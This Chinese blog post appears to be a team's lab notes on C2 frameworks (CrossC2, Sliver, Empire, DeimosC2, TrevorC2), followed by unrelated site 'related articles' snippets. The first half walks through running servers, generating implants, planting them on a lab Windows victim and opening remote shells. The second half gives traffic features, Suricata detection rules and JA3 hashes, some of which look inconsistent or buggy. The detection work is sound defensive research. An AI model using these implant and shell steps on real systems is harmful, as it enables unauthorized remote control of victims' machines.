【组内工作】木马回联

文章目录

  • C2服务器安装和运行方法
    • CrossC2运行方法
    • sliver运行方法
    • empire安装方法
    • DeimosC2安装教程
    • TrevorC2安装教程:
  • C2服务器的流量特征
    • CrossC2
      • 1. 心跳包
      • 2. 命令
      • 3. ja3/ja3s
    • Sliver
      • 1. http
      • 2. https
    • empire
      • http
      • https
    • DeimosC2
      • https
    • TrevorC2

C2服务器安装和运行方法

CrossC2运行方法

注意:这个只能是服务器和攻击者是同一台主机才能运行,即都是192.168.230.137

cs服务器:192.168.230.137(kali)
攻击者:192.168.230.137(kali)
受害者:192.168.230.143(windows 10)

  • 在cs服务器192.168.230.137上:

    1. 打开一个终端,输入:
      sudo su
      ./teamserver 192.168.230.137 123456
  • 在攻击者192.168.230.137上:

    1. 再打开一个终端,输入:
      ./cobaltstrike

    2. 设置监听器,https的

    3. 导入插件,cna文件

    4. 生成payload

    5. 将生成的恶意文件(两个,一个是lib,一个是out)放到受害者主机上

  • 在受害者192.168.230.143上:
    ./t_cc2.out

  • 在攻击者192.168.230.137上运行wireshark即可,过滤条件ip.addr==192.168.230.143

sliver运行方法

cs服务器:192.168.230.137
攻击者:192.168.230.138
受害者:192.168.230.143

  • 在cs服务器192.168.230.137上:
    ./sliver-server_linux
    new-operator --name qinjian --lhost 192.168.230.137 //只用执行第一次
    multiplayer

  • 在攻击者192.168.230.138上:
    将cs服务器192.168.230.137上生成的文件放到与sliver-client_linux同目录下
    ./sliver-client_linux import qinjian_192.168.230.137.cfg //只用执行第一次
    ./sliver-client_linux

  • 接下来,无论在cs服务器或者攻击者上都可以,执行以下命令:
    generate --mtls 192.168.230.137 --save test.exe --os Windows //生成shell
    mtls //开启mtls协议监听
    implants //查看生成过的shell
    jobs //查看进程

  • 将生成的shell文件test.exe放到windows受害者上,并运行
    双击test.exe

  • 接下来,无论在cs服务器或者攻击者上都可以,执行以下命令:
    sessions //查看会话
    sessions -i id //进入会话 sessions -k id //结束会话
    shell --shell-path "C:\\windows\system32\cmd.exe" //进入交互式shell
    exit //退出

  • 在攻击者192.168.230.138上开启wireshark抓包,过滤条件ip.addr==192.168.230.143

empire安装方法

注意这里cs服务器和攻击者是同一台机器

cs服务器:192.168.230.138
攻击者:192.168.230.138
受害者:192.168.230.143

  • 在cs服务器192.168.230.138上运行:
    ./ps-empire server

  • 在攻击者192.168.230.138上运行:
    ./ps-empire client

  • 设置监听器:
    uselistener [tap键选择监听器类型]
    set Name [监听器名称]
    set Port [端口号]
    execute
    listeners //查看设置的监听器
    kill [监听器Name] //删除监听器

  • 设置后门:
    usestager [tap键选择后门类型]
    set Listener [监听器Name]
    set OutFile [后门文件,例如launcher.bat] //可写可不写,默认就是set OutFile launcher.bat
    execute

  • 将launcher.bat放到/var/www/html目录下,然后让受害者192.168.230.143访问该文件

  • 在攻击者192.168.230.138上运行:
    agents //查看获取的代理会话
    shell whoami //执行命令

DeimosC2安装教程

cs服务器:192.168.230.137
攻击者:192.168.230.138
受害者:192.168.230.143

  • cs服务器上运行:
    ./DeimosC2

  • 攻击者上:
    登录https://192.168.230.137:8443
    用户名:qinjian
    密码:qinjian1030
    add listener – 地址设为192.168.230.137
    下载对应操作系统的agents,下载的位置可以从浏览器的右上角的下载标志找到

  • 受害者上:
    运行下载的agents

TrevorC2安装教程:

cs服务器:192.168.230.137
攻击者:192.168.230.138
受害者:192.168.230.143

sudo su
conda create -n py37 python=3.7(只第一次需要运行)
conda activate py37

  • 在cs服务器上运行:
    目录:SecistSploit
    sudo su
    conda activate py37
    python SSF.py
    use listener/trevorc2
    show options
    set lhost [本机ip] // 设置当前ip
    set target 2 // 设置生成的agent文件的类型,有三种1->C# 2->powershell 3->python
    run // 生成agent文件

    list // 查看受害者主机
    interact 1 // 与受害者主机交互

  • 在受害者上运行生成的agent文件

C2服务器的流量特征

CrossC2

1. 心跳包

在这里插入图片描述
suricata规则:
自己想的:alert tcp any any -> any any (msg:"Heartbeat Extension Detected"; flow:established; tls.handshake.type: 1; tls.handshake.extensions["heartbeat"]; content:"|00 0F 00 01 01|"; depth:5;sid:100001; rev:1; )

实际用的:alert tcp any any -> any any (msg:"Heartbeat Extension Detected";flow:established;content:"|00 0F 00 01 01|";sid:100001;rev:1;)

2. 命令

  1. 执行命令时与平时的心跳包不太一样,会多传一些数据:
    在这里插入图片描述

  2. 并且加密数据是以00 00 00 00 00 00 00 02开头的
    在这里插入图片描述

    suricata规则:alert tls any any -> any any (msg:"Detect HTTPS Application Data with 0000000000000002";content: "|00 00 00 00 00 00 00 02|";flow:established; sid:100002; rev:1;)

3. ja3/ja3s

ja3:alert tls any any -> any any(msg:"CorssC2 https ja3";ja3.hash;content:"fd80fa9c6120cdeea8520510f3c644ac";classtype:misc-activity;sid:1001;rev:1)

ja3s:alert tls any any <> any any(msg:"CorssC2 https ja3s";ja3s.hash;content:"b7bd51222a09f3ad66a340710ae9c01a";sid:1002)

Sliver

1. http

  • 独特的头部特定标识 / 特定的请求响应模式(html)

    观察sliver的源码发现,Sliver的C2木马连接服务端有5种类型的消息,使用内置路径段随机生成请求路径,所有路径将具有以下扩展名之一,不同的文件扩展名指示了请求的类型。除了扩展名之外,路径中的所有内容都会被服务器忽略。

    • .woff = Stagers(默认不使用)
    • .js = Long poll messages(长消息轮询,加密交互数据)
    • .html = Key exchange messages (密钥交换,set-cookie)
    • .php = Session messages
    • .png = Close session messages(关闭会话)

    随机路径生成的方法:
    在这里插入图片描述
    请求包的特征:

    1. 方法:POST/GET
    2. path为各个后缀所对应的字符串列表中多个字符串的组合:StagerPaths、PollPaths、SessionPaths、ClosePaths
    3. 文件名为各个后缀所对应的字符串列表其中之一的字符串:StagerFiles、PollFiles、SessionFiles、CloseFiles
    4. 文件后缀:.woff、.js、.html、.php、.png
    5. 参数名称为NonceQueryArgs: “abcdefghijklmnopqrstuvwxyz_”,从这些字符串中选择1-2个
    6. nonce值的长度为1到10位,包含数字和小写字母与下划线。

    综上,写出的suricata规则为:

    .woffalert tcp any any -> any any (msg: "Sliver HTTP woff request"; flow:to_server,established;content:".woff";http_uri;pcre: "/\/(static|assets|fonts|locales)(.*?)((attribute_text_w01_regular|ZillaSlab-Regular\.subset\.bbc33fb47cf6|ZillaSlab-Bold\.subset\.e96c15f68c68|Inter-Regular|Inter-Medium)\.woff)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000001;classtype:trojan-activity; rev:1;)

    .jsalert tcp any any -> any any (msg: "Sliver HTTP js request"; flow:to_server,established;content:"GET";http_method;nocase;content:".js";http_uri;pcre: "/\/(js|umd|assets|bundle|bundles|scripts|script|javascripts|javascript|jscript)(.*?)((bootstrap|bootstrap.min|jquery.min|jquery|route|app|app.min|array|backbone|script|email)\.js)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000002;classtype:trojan-activity; rev:1;)

    .htmlalert tcp any any -> any any (msg: "Sliver HTTP html request&getsessionID"; flow:to_server,established;content:"POST";http_method;nocase;content:".html";http_uri;pcre: "/\/(php|api|upload|actions|rest|v1|oauth2callback|authenticate|oauth2|oauth|auth|database|db|namespaces)(.*?)((login|signin|api|samples|rpc|index|admin|register|sign-up)\.html)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000003;flowbits:set,name;flowbits:noalert;classtype:trojan-activity; rev:1;)

    .htmlalert tcp any any <> any any (msg: "Sliver HTTP html response&set-cookie";flow:to_client,established;content:"Set-Cookie";http_header;pcre:"/^Set-Cookie\:\s*(PHPSESSID|SID|SSID|APISID|csrf-state|AWSALBCORS)\=[a-z0-9]{32}\;\s*HttpOnly$/i";sid:1000004;flowbits:isset,name;classtype:trojan-activity;)

    .phpalert tcp any any -> any any (msg: "Sliver HTTP php request"; flow:to_server,established;content:"POST";http_method;nocase;content:".php";http_uri;pcre: "/\/(php|api|upload|actions|rest|v1|oauth2callback|authenticate|oauth2|oauth|auth|database|db|namespaces)(.*?)((login|signin|api|samples|rpc|index|admin|register|sign-up)\.php)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000005;classtype:trojan-activity; rev:1;)

    .pngalert tcp any any -> any any (msg: "Sliver HTTP png request"; flow:to_server,established;content:".png";http_uri;pcre: "/\/(static|www|assets|images|icons|image|icon|png)(.*?)((favicon|sample|example)\.png)\?[a-z_]{1,2}=[a-z0-9_]{1,10}/i";sid:1000006;classtype:trojan-activity; rev:1;)

2. https

  • ja3(s)加密指纹特征:

    ja3:Alert tls any any -> any any(msg:"sliver https debian";ja3.hash;content:"19e29534fd49dd27d09234e639c4057e";classtype:misc-activity;sid:1001;rev:1)

    ja3s:Alert tls any any <> any any(msg:"sliver https";ja3s.hash;content:"f4febc55ea12b31ae17cfb7e614afda8";sid:1002)

empire

http

https

DeimosC2

https

  • tls版本1.2/1.3
    在这里插入图片描述

  • https端口号:C2服务器默认为4443(不过可以修改)

  • ja3(s)加密指纹特征
    ja3:Alert tls any any -> any any(msg:"sliver https debian";ja3.hash;content:"e564ee1b7bcae4467d8c759df910ed9c";classtype:misc-activity;sid:1001;rev:1)
    ja3s:Alert tls any any <> any any(msg:"sliver https";ja3s.hash;content:"f4febc55ea12b31ae17cfb7e614afda8";sid:1002)(和sliver一样)
    在这里插入图片描述
    在这里插入图片描述

TrevorC2

  • 心跳包:http(服务器主机返回的http相应包会包含非常多的payload,且Reassembled TCP length: 386861)
    在这里插入图片描述
    在这里插入图片描述

  • 受害者主机端口号每次发送一个http请求,就更换一个端口,端口号逐次+1
    在这里插入图片描述
    在这里插入图片描述
    Suricata规则:alert tcp any any -> any any (msg:"HTTP Request Source Port Sequential Increase"; flow:established, to_server; content:"GET"; http_method; pcre:"/^Host:[^\r\n]+\r\n/"; lua:check_port.lua; sid:100001; rev:1;)
    check_port.lua代码:

    function init(args)
        -- 这里可以执行一些初始化操作
    
        local rules = {}
        return rules
    end
    
    function check_port(pkt, data)
        if not pkt.is_http or not pkt.is_request then
            return 0
        end
    
        local src_port = pkt.src_port
        local prev_src_port = pkt.prev_pkt.src_port
    
        if src_port ~= prev_src_port + 1 then
            return 1
        end
    
        return 0
    end
    
    
  • 交互发送命令,受害者主机会发送一个url为:/images?guid=xxxx,xxxx类似于base64编码,最后会用=填充(有时候能用base64解码,有时候不能,而且解出来的编码也很像base64编码)
    在这里插入图片描述
    Suricata规则:alert tcp any any -> any any (msg: "TrevorC2 interact"; flow:to_server,established;content:"/images?guid=";http_uri;pcre: "/\/images\?guid=[A-za-z0-9+\/=](.*)/i";sid:1000002;classtype:trojan-activity; rev:1;)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/50420.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

C\C++内存管理

目录 1.C/C内存分布2.C语言中动态内存管理方式3.C中动态内存管理3.1new/delete内置类型3.2new和delete操作自定义类型 4.operator new与operator delete函数4.2重载operator new与operator delete&#xff08;了解&#xff09; 5.new和delete的实现原理5.1内置类型5.2 自定义类…

2023亚马逊云科技中国峰会——Amazon DeepRacer

1.DeepRacer技术背景 早在20世纪初汽车问世之时&#xff0c;发明家们便已提出无人驾驶的设想。但即便是实现无人驾驶的初级阶段&#xff0c;也经历了足足百年时间。毕竟在复杂的城市路况下&#xff0c;机器若想像人一样实现感知、决策、控制等功能&#xff0c;必定面临各种复杂…

每日一博 - How To Improve API Performance

文章目录 包括但局限于以下措施1. 采用分页显示2. 异步记录日志3. 利用缓存技术4. 实施负载压缩5. 管理数据库连接池 包括但局限于以下措施 1. 采用分页显示 当查询结果过多时&#xff0c;将结果分为多个页面进行显示&#xff0c;可以有效地提高系统的响应速度。这样&#xff…

IntelliJ IDEA 2023.2 主要更新了什么?(纯文本介绍版)

&#x1f337;&#x1f341; 博主猫头虎 带您 Go to New World.✨&#x1f341; &#x1f984; 博客首页——猫头虎的博客&#x1f390; &#x1f433;《面试题大全专栏》 文章图文并茂&#x1f995;生动形象&#x1f996;简单易学&#xff01;欢迎大家来踩踩~&#x1f33a; &a…

empty module导致的lvs问题

write_verilog时-exclude empty_modules即可 这里也分享一下ICC2 write lvs netlist的命令 write_verilog -exclude {scalar_wire_declarations leaf_module_declarations empty_modules well_tap_cells filler_cells supply_statements} -hierarchy all -force_no_referenc…

Spring MVC 是什么?

一、什么是 Spring MVC&#xff1f; 官方对于 Spring MVC 的描述是这样的&#xff1a; Spring Web MVC is the original web framework built on the Servlet API and has been included in the Spring Framework from the very beginning. The formal name, “Spring Web …

信息安全战线左移!智能网联汽车安全亟需“治未病”

当汽车由典型的工业机械产品逐步发展成为全新的智能移动终端&#xff0c;汽车的安全边界发生了根本性改变&#xff0c;信息安全风险和挑战不断增加。 面对复杂的异构网络、异构系统及车规级特异性要求&#xff0c;智能智能网联汽车信息安全到底要如何防护&#xff0c;已经成为…

【Linux】POSIX信号量

1 认识信号量 前面的初识信号量 信号量&#xff08;信号灯&#xff09;&#xff1a;本质就是一个计算器信号量需要进行PV操作&#xff0c;P -- &#xff1b;V &#xff0c;原子的&#xff01;信号量是用来描述临界资源中资源数目的 根据资源数目分成两类一个资源&#xff…

JVM类加载

一、类记载过程 1、通过类的全限定名获取存储该类的class文件 2、解析成运行时数据&#xff0c;即instanceKlass实例&#xff0c;存放到方法区 3、在堆区生成该类的class对象,即instanceMirrorKlass实例 二、将.class文件解析成什么&#xff1f;类的元信息在JVM中如何…

IOS UICollectionView 设置cell大小不生效问题

代码设置flowLayout.itemSize 单元格并没有改变布局大小&#xff0c; 解决办法如下图&#xff1a;把View flow layout 的estimate size 设置为None&#xff0c;上面设置的itemSize 生效了。

系统架构设计师-软件架构设计(5)

目录 一、构件与中间件技术 1、软件复用 2、构件与中间件技术的概念 3、构件的复用 3.1 检索与提取构件 3.2 理解与评价构件 3.3 修改构件 3.4 组装构件 4、中间件 4.1 采用中间件技术的优点&#xff1a; 4.2 中间件的分类&#xff1a; 5、构件标准 5.1 CORBA&#xff08;公共…

【弹力设计篇】弹力设计总结

前面主要聊了多个弹力设计&#xff0c;遮盖力主要做一个汇总 弹力设计总图 集群&#xff1a;服务不能是单点的&#xff0c;所以我们的架构需要冗余设计&#xff0c;设计成集群服务&#xff0c;也就是多个副本机制。需要具体的技术 负载均衡服务健康检查&#xff0c;使用像Ng…

【单谐波非线性振动问题求解器 GUI 】使用单个谐波表示解决 MDOF 非线性振动问题(Matlab代码实现)

目录 &#x1f4a5;1 概述 &#x1f4da;2 运行结果 &#x1f389;3 参考文献 &#x1f308;4 Matlab代码实现 &#x1f4a5;1 概述 对于解决多自由度&#xff08;MDOF&#xff09;非线性振动问题&#xff0c;使用单个谐波表示是一种常见的近似方法。这种方法将系统的非线性部…

使用3ds Max粒子系统创建飞天箭雨特效场景

推荐&#xff1a; NSDT场景编辑器助你快速搭建可二次开发的3D应用场景 1. 设置箭头 步骤 1 打开 3ds Max。 打开 3ds Max 步骤 2 我使用多边形建模技术制作了一个简单的箭头&#xff0c;我将 在教程中使用。.max您可以从 下载部分。 箭头.max 步骤 3 将此箭头重命名为静态…

Stability AI推出Stable Diffusion XL 1.0,文本到图像模型

Stability AI宣布推出Stable Diffusion XL 1.0&#xff0c;这是一个文本到图像的模型&#xff0c;该公司将其描述为迄今为止“最先进的”版本。 Stability AI表示&#xff0c;SDXL 1.0能生成更加鲜明准确的色彩&#xff0c;在对比度、光线和阴影方面做了增强&#xff0c;可生成…

【JavaSE】运算符

【本节目标】 1. 熟练掌握各种运算符 这部分内容和C语言的位运算相似&#xff0c;可以参考这篇文章&#xff1a;【C语言】操作符详解 目录 1. 什么是运算符 2. 算术运算符 3. 关系运算符 4. 逻辑运算符 5. 位运算符 6. 移位运算(了解) 7. 条件运算符 1. 什么是运算符 …

用JavaScript和HTML实现一个精美的计算器

文章目录 一、前言二、技术栈三、功能实现3.1 引入样式3.2 编写显示页面3.2 美化计算器页面3.3 实现计算器逻辑 四、总结 一、前言 计算器是我们日常生活中经常使用的工具之一&#xff0c;可以帮助我们进行简单的数学运算。在本博文中&#xff0c;我将使用JavaScript编写一个漂…

如何解决大数据下滚动页面卡顿问题

原文合集地址如下&#xff0c;有需要的朋友可以关注 本文地址 合集地址 前言 之前遇到不分页直接获取到全部数据&#xff0c;前端滚动查看数据&#xff0c;页面就听卡顿的&#xff0c;当然这和电脑浏览器性能啥的还是有点关系。但根源还是一次性渲染数据过多导致的&#xf…

RTPS规范v2.5(中文版)

实时发布订阅协议 DDS互操作性有线协议 &#xff08;DDSI-RTPS&#xff09; 技术规范 V2.5 &#xff08;2022-04-01正式发布&#xff09; https://www.omg.org/spec/DDSI-RTPS/2.5/PDF   目 录 1 范围 8 2 一致性 8 3 规范性参考文献 8 4 术语和定义 9 5 标识 …

计算机和医学的交叉融合到底有多强呢?

目录 简介 人工智能在医学诊断中的应用 计算机辅助药物研发 计算机技术在基因组学研究中的应用 数字病理学 穿戴式医疗设备 虚拟现实&#xff08;VR&#xff09;和增强现实&#xff08;AR&#xff09;技术在医学教育中的应用 机器人手术 区块链技术在医学领域的应用 遥…